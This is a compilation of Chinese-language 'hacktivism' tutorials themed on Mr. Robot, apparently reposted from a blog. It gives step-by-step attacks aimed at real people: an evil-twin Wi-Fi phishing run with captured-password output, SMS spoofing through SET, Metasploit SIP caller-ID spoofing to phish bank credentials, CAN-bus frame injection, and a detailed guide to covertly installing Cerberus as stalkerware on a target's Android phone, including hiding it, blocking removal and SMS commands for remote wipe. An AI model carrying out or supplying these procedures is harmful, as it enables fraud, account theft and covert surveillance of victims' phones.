HTTPS requests:

[*] GET request from 10.0.0.13 for http://
captive.apple.com/hotspot-detect.html

[*] GET request from 10.0.0.13 for http://
captive.apple.com/hotspot-detect.html

[*] GET request from 10.0.0.13 for http://
captive.apple.com/hotspot-detect.html

[*] POST request from 10.0.0.13 with wfphshr-wpa-
password=myfatpassword

[*] GET request from 10.0.0.13 for http://
captive.apple.com/hotspot-detect.html
```

就是这样。该脚本将退出，并为您提供刚捕获的密码。

```
[*] Starting Wifiphisher 1.4GIT ( https://
wifiphisher.org ) at 2020-02-04 08:10

[+] Timezone detected. Setting channel range to
1-13

[+] Selecting wfphshr-wlan0 interface for the
deauthentication attack

[+] Selecting wlan1 interface for creating the
rogue Access Point

[+] Changing wlan1 MAC addr (BSSID) to
00:00:00:31:8c:e5

[!] The MAC address could not be set. (Tried
00:00:00:ee:5c:95)
```

```
[+] Sending SIGKILL to wpa_supplicant

[+] Sending SIGKILL to dhclient

[+] Sending SIGKILL to dhclient

[+] Sending SIGKILL to NetworkManager

[*] Cleared leases, started DHCP, set up iptables

[+] Selecting Firmware Upgrade Page template

[*] Starting the fake access point...

[*] Starting HTTP/HTTPS server at ports 8080, 443

[+] Show your support!

[+] Follow us: https://twitter.com/wifiphisher

[+] Like us: https://www.facebook.com/Wifiphisher

[+] Captured credentials:

wfphshr-wpa-password=myfatpassword

[!] Closing
```

如上，您已经绕过了所有密码安全措施，并欺骗了目标人将 Wi-Fi 密码输入到您的虚假网络中。而目标人还在傻等那个进度条。

就是这样，您学会了吗？这里还有一个视频可以推荐：

—— 不定期更新中 ——

Get Anyone’s Wi-Fi Password Without Cracking Using Wifiphisher

原文

如何发送欺骗性短信？- 黑客主义行动力（9）- iyouport

hacktivist黑客主义

【 2020年8月12日存档】这不是玩恶作剧用的。它必须能在一整套逻辑恰当的行动策划中发挥应有的协调作用 ……

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》

Mr. Robot 第5集中出现了欺骗性短信的操作。

当 Elliot 能够以社交工程的方式进入 Steel Mountain 最先进的 “难以穿透的” 存储设施时，一位负责人开始产生怀疑，并将他赶了出去，那时他还没来得及植入树莓派。

他打算将树莓派放置在目标网络内部，以操纵 HVAC 系统提高存储设施的温度，以此来销毁包含世界上70%的消费者债务的记录。

在那位管理人员护送 Elliot 到电梯并准备离开该设施的那一刻，她收

到了她丈夫的发来的短信，很紧急，就这样分散了她的注意力。

这条短信实际上并不是她丈夫发来的，而是来自 Elliot 的去社会黑客组织的其他成员。

本教程将向您展示 Elliot 的去社会组织成员如何能够向 Steel Mountain 的管理人员发送一条紧急的欺骗性的短信，该短信看起来似乎来自她的丈夫，表明他正在医院并且有严重的健康问题。

在剧情中，Elliot 的去社会组织成员使用的是 Kali 来发送欺骗性短信，但是很可惜，此功能在最新版本的 Kali 中已停止使用。

幸运的是它仍然位于 BackTrack 中，因此本教程将恢复到值得信赖的 BackTrack 。

步骤1：启动 BackTrack 并启动社交工程工具包（SET）

「图」

首先启动 Backtrack 5，然后导航到 “应用程序”-」“开发者工具”-」“社交工程工具”-」“社交工程工具包”（SET），然后选择 “设置”，如下面的屏幕快照所示。

这将启动 SET 打开屏幕，如下所示。 SET 能够进行多种社交工程攻击。

null-byte 以前的介绍曾使用社交工程工具包在 BackTrack 中投放网络钓鱼，但这次我们想要的是 “ SMS Spoofing Attack Vector”。要开始此攻击，请选择＃7。

在下面的屏幕中，询问您是否要 “执行SMS欺骗攻击” 或者是 “创建社交工程模板”。选择＃1。然后它会询问您是要欺骗单个电话号码还是进行大规模攻击。这种情况下是有针对目标的，于是选择＃1 “单一电话号码”。

步骤2：设置欺骗性短信

「图」

在此示例中假装 Mary 向 John 发送了一条欺骗性短信以表示她要和他分手。这应该会使 John 感到不安，因为他疯狂地爱着她。

首先，在 “Send sms to” 选项中您需要输入 John 的手机号码。然后选择＃2制作一次性使用的 SMS。最后，输入 Mary 的电话号码。确保两个号码都以 “ ＋” 开头。

「图」

步骤3：制作文字讯息

「图」

也就是输入*假的* Mary 发送给 John 的短信文本。为此目的，输入如下：

“对不起，John。我遇见了另一个男人，他是我一生的挚爱。我希望我们俩能继续做朋友”。

「图」

输入完毕后，请按 Control ＋ C 退出。

步骤4：发送消息！

「图」

这将带您进入最终屏幕。在此屏幕中，您将需要为欺骗性短信消息选择媒介。在这里有4个选项。

第一个是免费的，正如他们所说，它是 “buggy” 有点问题（当我运行它时，SET崩溃了）。然后，有两个付费选项，最后是 Android 模拟器。

我选择了第三个选项 SMSGANG。他们为5条短信收取3欧元的费用，或每条约0.65美元。

当您付款时（他们接受信用卡和 PayPal），他们会向您发送PIN码。

- 肯定不会希望使用自己的信用卡干这种事对吧，所以不要错过《5个信誉良好的一次性信用卡号服务：隐藏您的真实身份信息》

选择＃3后，它将要求您输入“Pin码”。输入一个通过电子邮件发送给您的验证码，然后您就可以发送这个欺骗性短信了。

就是这么简单！您学会了吗？

☞ 欺骗性短信本身不至于仅仅成为恶作剧的唯一方式是：它必须在一个逻辑完美的行动策划案过程中发挥作用。所以，您应该首先设计全套策划案，并按需求植入相关技术。好运！〇

How to Send a Spoofed SMS Text Message

原文

如何入侵目标的电子邮件和银行账户：黑客主义行动力（10） - iyouport

hacktivist黑客主义

【2020年8月18日存档】您所要做的一切只是，让欺骗看起来足够真实 ……

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《如何发送欺骗性短信？- 黑客主义行动力（9）》

Elliot 使用社交工程手段假扮银行员工打电话给治疗师的男友，以骗取其真实身份信息，用来入侵他的电子邮件和银行帐户。

远程收集有关目标的信息是比较容易的，但是了解屏幕背后的人也很重要。

就如 Bazzell 所说，您不能总是仅通过谷歌搜索或使用提供有关人员或机构信息的网站来收集信息 —— 简单说您不能总是指望现成的开源情报，有时您必须直接从目标人那里获取此信息，在现实世界中，

您所知道的大多数攻击行为都是从社交工程开始的。

- 不要错过 列表-5 “社交工程” 专栏

本文将向您展示如何利用 Metasploit 和 Softphone 进行社交工程欺骗，为您提供成功入侵公司的所有信息。非常简单可以做到。

关于SIP和VoIP的介绍

「图」

由于其日益提高的可靠性和可访问性，近年来网络电话技术已成为许多企业的合理选择，从而使他们在享受丰富的通信体验的同时，降低了通信成本。

SIP和VoIP都为用户节省了金钱，同时提高了生产力，为他们提供了很多好处和机会。每种协议各有利弊，并且经常一起使用。

如今大多数公司不再使用那些座机了，而是改成了IP电话（SIP，VOIP），这些电话有时是免费的（如SKYPE）可以在世界上任何地方访问，您需要的只是一个SIP地址，就像您的电子邮件地址一样。

无论您身在何处或使用哪种设备，都没有关系。只要您登录（注册），SIP通信就会被重定向到您当前的位置。

会话初始化协议（SIP）是一种功能强大且高效的通信协议，可用于向多方发送多媒体消息 —— 允许世界各地的人们使用其计算机和移动设备通过互联网进行通信。

VoIP 是一种语音通话技术，经由网际协议（IP）来达成语音通话与多媒体会议，也就是经由互联网来进行通信。

现实示例

「图」

本示例将使用 google 作为目标公司，但您可以将 google 更改为任意目标公司或实体的名称或域名，Softphone 作为 voip 电话，使用 metasploit 创建虚假的SIP请求，目标设备会响铃并显示虚假的呼叫者ID信息，因为在现实世界中，用户会只相信受信任的呼叫者（但是对于某些人来说，您甚至不需要此过程，他们啥电话都接）。

软件电话是一个程序，用于使用通用计算机而不是专用硬件通过互联网拨打电话。软件电话还可以安装在诸如工作站、便携式计算机、平板电脑甚至手机之类的设备上，允许用户拨打和接听电话，而无需实际的电话机（对于 Linux 也是如此），您可以启动 kali linux 并下载软件电话：

apt-get install sflphone-gnome

从下面的图中可以看到已经下载了软件电话。如果您有下载，请跳过这步。

下载完成后，您可以通过导航至 应用程序-」常用程序 →互联网 来访问软件电话，只需单击该图标即可将其打开。

首次打开时，系统将显示以下屏幕提示，现在将所有内容设置如下，然后单击下一步：

现在请进入 编辑-」帐户 →并选择“ ip2ip”，单击编辑并选择高级：

在 network interface 的部分选择您的网络接口并将端口保留为默认端口，在本案例的情况下是使用 eth0 作为接口，您可以选择任何一个。

现在您已经完成了配置IP电话的工作。

入侵

「图」

本案例将使用 metasploit 破解这个软件电话，这是为知道如何使用 metsploit 的用户设计的。

下面将使用的模块将创建一个虚假的SIP请求，使目标设备振铃并显示虚假的呼叫者ID信息。

msfconsole

use auxiliary/voip/sip_*invite*_spoof

查看选项（请不要复制它，这不是简单地节省时间的命令）

了解模块

「图」

DOMAIN 是sip域，由于本案例将在本地工作，所以我们可以跳过它，它可以是 google、wonderhowto 或其他任何东西，只要它们有sip域即可。

EXTENSION 是网络内的目标身份，SIP记录与电子邮件的邮件交换记录类似，比如sip域是 google，那么目标的扩展名就类似 voice.john@google.com。

在本案例的情况下 MSG 是要发送欺骗性的来电显示，我们会假装自己来自Google的IT部门。

RHOSTS 是目标IP，在本案例中我的软件电话安装在本地主机中 ip 192.168.0.101。

SRCADDR 是欺骗电话的sip地址，在本示例中将是 voice.admin@google.com，以使目标（google员工）认为自己接到了来自google it部门的电话。

如下图所示：

如果您可以在其他公司或实体中尝试，那么您所需要的只是他们的 voip ip 地址，或者您可以位于同一网络并使用以下开放端口扫描：5060、5070、10000–65535 许多voip服务的默认端口。

您可以看到我们的网络电话使用端口5060。

您还可以做的另一件事是通过网络上的所有IP发送邀请，您只需要将 RHOSTS 设置为目标网络上的IP范围即可。

一旦找到在5060上运行的ip然后您就可以发送邀请了如上所示，这次我们通过网络发送邀请。

现在怎么办？如何通过此方式获得电子邮件或银行帐户密码？

「图」

现在开始一切都与社交工程有关。一旦目标用户接听了电话，您只需要尽力诱使他提供所需的信息。

在使用google的示例中，您可能会说您最近正在为google员工开发一些新的安全应用，并且希望更新员工的数据等等。因此您可以花更多的时间弄清楚要说些什么才能获得他们的信任以获取他们的帐户访问权限，让他们相信您在谷歌的IT部门工作，他们就更容易为您提供信息。

就像 Elliot 所做的那样，您可以致电目标银行，并假装自己来自It部门，希望获得有关用户（攻击目标）的一些信息，依此类推 …

就是这么简单，您学会了吗？

不要忘了防御警觉性！具体技巧详见 列表-5 “社交工程”。〇

Learn How Elliot from Mr. Robot Hacked into His Therapist’s New Boyfriend’s Email & Bank Accounts (Using Metasploit)

原文

如何黑入汽车：黑客主义行动力（11） - iyouport

hacktivist黑客主义

【2020年9月1日存档】汽车黑客是黑客学科的最前沿

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《如何发送欺骗性短信？- 黑客主义行动力（9）》
- 《如何入侵目标的电子邮件和银行账户：黑客主义行动力（10）》

汽车黑客是黑客学科的最前沿。

对汽车的黑客入侵可能会对社会产生巨大影响。想象一下，在网络战中，反对派指挥官雇用黑客操纵敌方坦克、吉普车和其他车辆；或者更平凡一些，想象一下一个黑客可以打开、启动和控制您的车子 ……

本文将建立一个仿真环境，您可以在其中使用一些知识来分析和破解汽车。首先需要介绍一些基本知识。

基础知识

「图」

在深入研究汽车黑客之前，需要首先了解下基础知识。汽车电子设备使用几种不同的协议在多个微控制器、传感器、仪表、执行器等东西之间进行通信。这些协议中使用最广泛的是控制器局域网**CAN**。

CAN 首先是由德国工业巨头 Robert Bosch GmbH 开发的，该公司以其汽车电子产品而闻名。它于1986年在美国汽车工程师协会（SAE）会议上首次发布。CAN协议已标准化为ISO 11898–1 和 ISO 11898–2。它被设计用于微控制器和设备之间在车辆内进行稳定的通信，而无需主机。

CAN作为广播类的网络运行，类似于以太网中的广播数据包或旧时代的集线器（1980–90年代）。网络上的每个节点都可以 “看到” 每一个传输。

不同于以太网或TCP/IP（但类似于 SCADA 系统中的 modbus），你不能向单个节点发送报文，但CAN提供了本地过滤功能，因此每个节点只对与其操作相关的报文采取行动。你可以将其视为 “内容报文”，内容决定了目标节点。

CAN网络可以配置为使用两种不同的消息（或“帧”）格式：标准或基本帧格式（在CAN 2.0 A和CAN 2.0 B中描述）和扩展帧格式（仅由CAN 2.0 B描述）。

两种格式之间的唯一区别是，“CAN基本帧”支持标识符长度为11位，“CAN扩展帧”支持标识符长度为29位，由11位标识符（“基本标识符”）和一个18位扩展（“标识符扩展”）组成。

CAN基本帧格式和CAN扩展帧格式之间的是通过使用IDE位进行区分的，该位在传输显性时为11位帧，而在传输隐性时使用29位帧。

支持扩展帧格式消息的CAN控制器也能够发送和接收CAN基本帧格式信息。所有的帧都以开始位（SOF）作为信息传输的起始。

CAN有4种帧类型：

- 数据帧：包含用于传输的节点数据的帧
- 远程帧：请求传输特定标识符的帧

- 错误帧：由任何检测到错误的节点发送的帧
- 过载帧：在数据帧或远程帧之间插入延迟的帧

数据帧是唯一用于实际数据传输的帧。CAN标准要求必须接受基本帧格式并可能接受扩展帧格式，但必须能承受扩展帧格式。

通常数据传输是在数据源节点（例如传感器）发出数据帧的情况下自主执行的。但是，目标节点也可以通过发送远程帧来从信息源请求数据。

数据帧和远程帧之间有两个区别。首先，RTR位在数据帧中作为显性位传输，其次在远程帧中没有数据段。DLC字段表示所请求的消息的数据长度，而不是发送的数据长度。

在数据帧和具有相同标识符的远程帧同时发送的情况下，由于数据帧标识符之后的RTR位是显性，它将赢得仲裁。

错误帧由两个不同的字段组成：

- 第一段由不同站点提供的错误标志（6–12个显性位/隐性位）的叠加给出。
- 接下来的第二段是错误帧定界符（ERROR DELIMITER，8个隐性位）。

过载帧包含两个位字段：过载标志（Overload Flag）和过载定界符（Overload Delimiter）。有两种过载条件可导致过载标志的传输：#接收器的内部条件，要求延迟下一个数据帧或远程帧。

- 中断检测到一个显性位。

1. candump：显示、过滤、日志can数据到文件

- canplayer：重放can日志文件
- canSend：发送一个帧
- cangen ：生成(随机)can通信
- cansniffer：显示数据内容差异(仅11位CAN ID)

1. canlogserver：从远程/本地主机记录CAN帧

- bcmserver：交互式BCM配置(远程＋本地)
- socketcand：通过TCP／IP插槽使用RAW／BCM／ISO-TP套接字

1. cangw：用于netlink配置的CAN网关 userpace 工具
2. canbusload：计算并显示CAN总线负载

- can-calc-bit-timing：内核中比特率计算中的用户空间版本
- canfdtest：全双工测试程序（DUT和主机部分）

下面将重点关注：

1. cansniffer

2. candump

3. canplayer

4. cansend

步骤1：启动 Cansniffer

「图」

现在开始使用 cansniffer 嗅探CAN流量。使用此实用程序，您必须指定接口（在本例中为 vcan0），如果要查看着色输出，请使用 -c。

kali 」 cansniffer -c vcan0

「图」

输入此命令后，您应该开始看到终端中显示的CAN网络流量，类似于下面的屏幕截图。

当使用 **-c** 时，正在更改的值将变为红色，更方便识别。

步骤2：使用 cansniffer 过滤特定流量

「图」

与更广泛使用的嗅探器 Wireshark 类似，不必查看所有流量，而是对其进行过滤。

看一下 cansniffer 的帮助屏幕以了解如何做。

kali 」 cansniffer -h

然后，如果只想查看 ID ＝ 161 的流量，则可以输入；

kali 」 cansniffer -c vcan0

一旦嗅探器启动，就可以键入：

-000000

＋161

重要的是要注意，当您输入以上命令时，它们将不会出现在屏幕上。输入ID号后，嗅探器将开始过滤掉所有流量，只留下 ID ＝ 161 的流量。

「图」

如您在上面的屏幕截图中所见，cansniffer 现在仅显示 ID ＝ 161 的数据。

步骤3：使用 candump 捕获CAN流量

「图」

can-utils 中的 candump 可以捕获CAN流量并将其存储到文件中以供以后分析或重放。

为此，只需要使用 **-l** 记录日志，并使用 **-c** 为输出着色。

kali 」 candump -c -l vcan0

「图」

如果要记录并查看输出，可以使用 -s 0 （静默模式0）；如果想将输出从十六进制转换为ASCII（人类可读），则可以添加-a（ASCII）。这将以着色模式启动 candump，以ASCII输出，将数据存储到日志文件中，同时将其发送到终端（stdout）。

kali 」 candump -c -l -s 0 -a vcan0

步骤4：使用 Canplayer

「图」

还有另一个关键的工具 canplayer。该工具使您能够“播放” candump 的输出。因此您可以从CAN网络捕获数据，然后重播。只需要使用 **-I**，然后跟着 candump 中日志文件的名称即可。

kali 」canplayer -I candump-xxxxxxxxxxx.log

「图」

步骤5：使用 Cansend 发送自定义帧

「图」

最后，有 cansend 工具。该工具可以重放特定的帧或发送定制的CAN帧。

「图」

输入：

kali 」 cansend vcan0 161#000005500108000d

现在按Enter键时，自定义的CAN帧将通过网络发送。这是将用来启动您希望在CAN网络上执行的操作的命令，例如；加速、打开门、启动刹车等等。

现在就可以开始使用这些工具对 ICS Simulator 上的CAN总线进行逆向工程并控制车辆了。

如果您对汽车黑客感兴趣，可以在这里下载这本书：https://www.patreon.com/posts/zhen-dui-qi-che-39412269

原文

如何控制目标人的安卓手机：黑客主义行动力（12）- iyouport

hacktivist黑客主义

【2020年9月4日存档】同时请注意结尾强调的防御方法

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《如何发送欺骗性短信？- 黑客主义行动力（9）》
- 《如何入侵目标的电子邮件和银行账户：黑客主义行动力（10）》
- 《如何黑入汽车：黑客主义行动力（11）》

如果您需要破解 Android 设备，请尝试使用远程管理工具。有一些开源RAT，价格更高的RAT也更加完善。但还有一些廉价的RAT根本不是RAT，例如 Cerberus，这是一种可在 Google Play 上获得的防盗解决方案。

Cerberus 是作为防盗程序销售的，因此，您或警察（在您的协助下）可以跟踪丢失或被盗的 Android 手机。

但是，虽然手机用户看到的是一个防盗工具，但在黑客眼中，它是一个每年花费仅需**5**欧元（约合**5.80**美元）的**RAT**。这比 Tyrell Wellick 在 Mr. Robot 中使用的那种每月21.99美元的RAT要便宜很多，并且它们具有相同的功能集。

☞作为一种防盗工具，Cerberus 提供了我们期望的良好 RAT 的所有功能，包括定位设备、备份（窃取）数据、锁定或更改PIN、擦除数据以及拍照。

所有这些以及更多操作都可以通过任何Web浏览器或通过发送特殊的SMS文本命令来完成。

👌除了超级便宜的成本外，还有其他好处。其中一个就是，可以直接在 Google Play 商店中找到。第二就是，使该工具正常工作并不需要 root 用户，但是 root 对于某些功能来说（比如重新启动和擦除数据）会很有用。

但是，Cerberus 是一家公司，因此必须假设他们记录了所有内容。也就是说，作为黑客，在访问该服务和目标设备时应采取保护性步骤以确保匿名。

例如，使用 Tor、VPN 和来自公共Internet连接的欺骗性MAC地址，可以帮助保护您的身份。

使用 Cerberus 破解 Android

「图」

如果您是遵循本指南的白帽、渗透测试工程师、或其他安全专家，出于以下两个原因，最好首先在自己的设备上进行此操作：# 这是一个好习惯。帮助您在手拿目标设备时尽可能快，以最大程度地减少被抓住的机会。

- 无论出于何种原因，您丢需要创建账户。因此，在您自己的设备上执行此操作将使您在攻击期间跳过帐户创建部分。

1. 假装对他们的手机品牌和型号感兴趣，表示您正在考虑购买一个。

- 如果您要带目标人驾车去某个地方，就请求帮助以进行导航，并说您自己的手机没有服务了或者已经坏了。您也可以使用发

短信作为借口，因为您不希望他们在开车的同时发短信 —— 你愿意帮他们这样做。

上图中这本书在这里下载：https://t.me/iyouport/7176

👌 除此之外，您还可以尝试在目标人洗澡或入睡时偷走他们的手机，这是久经考验的经典操作。

无论哪种方式，一旦您可以物理访问未锁定的设备，就可以继续进行下一步操作了。

步骤2：在目标设备上安装 Cerberus

「图」

迅速打开 Google Play 商店，搜索 “Cerberus 防盗”，然后按 “安装”并等待几秒钟，同时下载大约6 MB的文件。

接下来，点击 “打开”，然后点击 “授予权限”，然后点击 “允许” 七次。

这些权限使您可以执行诸如远程跟踪设备之类的操作，因此，允许所有这些权限非常重要。

完成此操作后，跳过 “电池优化” —— 您可以稍后进行。

目前，您正在尝试尽快完成所有必要的操作，以便在您突然失去对手机的访问权限时，该应用仍然可以运行。

点击 “修改系统设置”，将切换开关切换为 “开启”，然后按 “完成”。

步骤3：在目标设备上登录 Cerberus

「图」

第一次执行此操作时，您需要创建一个 Cerberus 帐户。据我所知这是唯一方法，因此最好在自己的 **Android** 设备上执行此操作，这样您就可以在实际攻击中快速跳过此操作。

⚠记住操作安全！ —— 请勿使用您的实际用户名或您在任何其他网站上使用过的用户名。另外，选择一个唯一的密码。您甚至可以为 Cerberus 使用唯一电子邮件，尽管这可能有些过分，但是仍然是不错

的 OPSEC。

如果要在您的手机和目标手机上同时使用 Cerberus，请记住购买至少支持两个设备的许可。不幸的是，为期7天的免费试用版仅支持一台设备。

在目标设备上执行此操作时，只需登录您现有的 Cerberus 帐户即可。如果目标设备愿意保存密码，也请不要这样做。不要给目标更多方便。

步骤4：在目标设备上启用管理员权限

「图」

您将被带到 Cerberus 的主要配置页面。向下滚动，直到看到 “*Device administration*” 标题。在其正下方，点击 “状态：已禁用”，然后在弹出屏幕上点击 “激活”。

这将使您能够执行擦除数据和更改锁定屏幕之类的操作，使他们再也无法将您锁定在手机之外。

接下来，选中 “Protect device admin” 旁边的框。如果目标发现它们，除非目标以某种方式找出您设置的 **Cerberus** 密码或进行出厂重置（以下第**7**步将阻止该行为），否则目标几乎不可能摆脱该应用及其功能。

在 “主要配置” 页面上，向下滚动并点击 “将文件备份到 Dropbox” 或 “将文件备份到 Google”，然后链接要用来窃取目标数据的帐户。

继续滚动并确保选中 “远程擦除” 和 “位置历史记录” 下的所有复选框。

这就是您要为这次攻击所做的一切。您将能够执行大多数人感兴趣的事，例如跟踪手机。

☞但是，当您这样做时，它将对目标非常明显，因为他们将收到通知。所以，在接下来的几个步骤中，我们将研究如何隐藏您的行为。

「图」

步骤5：在目标设备上隐藏通知

「图」

在 Android 上隐藏 Cerberus 通知非常简单。长按主屏幕或 Cerberus 应用程序图标，点击 “App info”，然后点击 “通知” 并关闭 “显示通知”。

或者，在较旧的 Andriod 设备上，您可能需要通过导航至 “设置” 中的 “App info”，然后是 “ Cerberus”，以进行设置。

这样做将防止目标在您执行 Cerberus 操作（例如位置跟踪）时接收任何通知。

该应用程序非常隐蔽 —— 大多数人不会注意到在其应用程序文件夹中还埋藏着一个东西，尤其是如今手机上存在的过时软件应用程序数量如此之多…… 如果由于某种原因在主屏幕上存在快捷方式，请在其上按住不放，然后将其向上拖动以 “删除” 它。

如果时间允许，还有更多的事可以做，以使其更加隐秘。

步骤6：在目标设备上更改数据和电源设置（可选）

「图」

打开 “App info” 后，继续并点击 “数据使用情况”，然后打开 “数据使用不受限制”。

接下来，返回并点击 “电池使用情况”。从那里，点击 “电池优化”，在可用列表中找到并点击 “ Cerberus”，选择 “不优化”，然后选择 “完成”。

👌更改这两个设置将确保您能够轻松提取大量数据，例如图像和文件。电池优化永远不会给您带来问题。

例如，如果目标设备平放并且静止超过几分钟，则可能会出现问题，设备将开始寻找节省电量的方法，包括关闭 Cerberus 应用程序的服务，这将使您无法跟踪目标。

步骤7：使其无法移除（可选）

「图」

如果您确实有很多时间可以接触目标设备，例如一个多小时，则可以将 Cerberus 应用程序设置为系统应用程序，即使用户恢复出厂设置，也可以防止将其删除。

它必须是 Root 的，如果没有，您需要手动 Root。因此为什么说需要一个小时或更长时间。

⚠对于确实有时间并且想要确保目标用户永远无法摆脱这种 RAT 的那些人来说，强烈建议您执行此步骤。除非目标人把手机扔了。

Gadget Hacks 的 Dallas 已经完成了此过程，因此请务必查看从第3步开始的完整指南，以将 Cerberus 转换为系统应用程序。

步骤8：回到初始状态

「图」

一切都在手机上完成。尝试将设备返回到您拿到该设备时所在的屏幕，然后将其放回到找到设备的位置。几乎没有任何用户会真正注意到它。

步骤9：从Web控制目标设备

「图」

您现在就可以控制目标设备了。打开 Cerberus 网站，并在右上角使用您的登录凭据。

登录后，Cerberus 将立即尝试与链接到您帐户的设备建立连接。如果设备未显示，则最可能的原因是设备已关闭电源或没有数据/ Wi-Fi服务，请耐心等待。

在右侧，您将看到一个日志，该日志将随着发送和接收的所有命令而保持更新。连接设备后，它将出现在日志中，并且其位置也会出现在地图上。

重要的是要注意，该位置并不总是精确的。首先，GPS具有自然的局限性，Cerberus 足以为您提供该精度估计。

但是，您必须记住，这是手机认为的位置。这意味着，如果设备的用户是使用**GPS**欺骗应用程序的那种人，那么您将不会看到设备的实际

位置，而只会看到用户欺骗的位置。

在左侧，您将找到命令下拉菜单。它不会根据设备的设置和状态立即告诉您哪些选项可用，哪些不可用，因此您必须在下拉菜单中单击它们，执行 “Send Command”。如果要检查应用程序内设置，或者在设置过程中忘记了更改一项，请单击 “更改应用程序设置” 和 “Send Command”。

步骤10：从目标的应用程序抽屉中隐藏 Cerberus（可选）

「图」

您可能想要做的最后一件事是隐藏该应用程序，以使目标不能只是偶然发现它。如果您不这样做，他们也不太可能会注意到，但是无论如何最好是这样做。

在 “命令” 下拉菜单中，选择 “从应用程序抽屉中隐藏”，然后选择 “发送命令”。当目标人滚动浏览所有应用程序的列表时，Cerberus 将不再显示。

奖励：通过短信控制目标设备

「图」

Cerberus 可以让您通过文本消息将任何命令发送到目标设备上的应用程序。为此，请向目标的电话号码发送短信，该文本以 cerberus、空格、您的密码开头，然后是命令。当设备具有蜂窝服务但没有数据服务时，此功能很有用。

以下是列出的一些最有用的命令。请注意，这些**SMS**文本不是隐藏的，因此用户将看到它们并可能找出正在发生的情况。

👌 这更有趣，对于实际使用此功能进行防盗的用户来说可能很有用。

```
cerberus password find (to locate the device)

cerberus password startemergency hours (to locate
for any number of hours)

cerberus password screenshot (to grab a screenshot
and send it to your email address)
```

```
cerberus password capturevideo (to capture a video
and send it to your email address)

cerberus password speak text (to make the device
speak a message)

cerberus password alarm text (to display a message
and play a loud alarm)

cerberus password wipe (to wipe the device memory)
```

🔐如何保护自己免受 Android RAT 的攻击

「图」

您可以遵循一些基本准则来帮助防止任何人对您执行此类攻击。

首先，将手机锁上。

1、如果您使用的是最新两代旗舰 Android 手机中的任何一款，那么指纹传感器是您的最佳选择。它们往往是快速和可靠的，并提供最佳的安全性。

2、除非具有3D功能，否则请尽量避免面部识别，否则，攻击者可以在手机前简单地显示您的脸部图片并将其解锁。

3、模式同样没有用，因为攻击者可以简单地在明亮的光线下分析您的手机屏幕污迹，并很好地了解如何将其解锁。

4、除了指纹扫描仪或3D面部识别软件之外，您的下一个最佳选择是至少使用六位**PIN**码，最好是完整密码。

其次，请勿让任何人出于任何原因触摸您的手机。当攻击者无法接触你的手机时，要下载RAT相当困难。

随时记得，即使您在淋浴或手机正在充电的情况下，也要始终使手机在视觉范围内。

☞ 请记住，攻击者可能会试图诱使您从他们那里下载恶意APK，因此，一如既往，请小心您在手机上所点击的任何内容，并怀疑所有未知的来源。〇

HOW TO Use Cerberus to Take Control of Anyone’s Android Phone

原文

如何入侵安卓手机：黑客主义行动力（14） - iyouport

hacktivist黑客主义

【 2020年10月22日存档】可以非常简单……

欢迎回来！

如果您还没有读过前面的部分，在这里看到：

- 《Mr.Robot 如何摧毁邪恶公司？- 黑客主义行动力（1）》
- 《Elliot 如何骇客邪恶公司并保证无法被反向追踪：黑客主义行动力（2）》
- 《如何全面间谍任何人的智能手机私密活动—黑客主义行动力（3）》
- 《如何在音频文件中隐藏秘密信息：黑客主义行动力（4）》
- 《如何破解蓝牙打开监狱大门：黑客主义行动力（5）》
- 《“融化” 所有债务 ……如何构建黑客树莓派 — 黑客主义行动力（6）》
- 《充分了解你的攻击目标：进行电子邮件侦查的简单方法 - 黑客主义行动力（7）》
- 《如何获取任何人的Wi-Fi密码而无需破解：黑客主义行动力（8）》
- 《如何发送欺骗性短信？- 黑客主义行动力（9）》
- 《如何入侵目标的电子邮件和银行账户：黑客主义行动力（10）》
- 《如何黑入汽车：黑客主义行动力（11）》
- 《如何控制目标人的安卓手机：黑客主义行动力（12）》
- 《如何自动扫描易受攻击的设备-黑客主义行动力（13）》

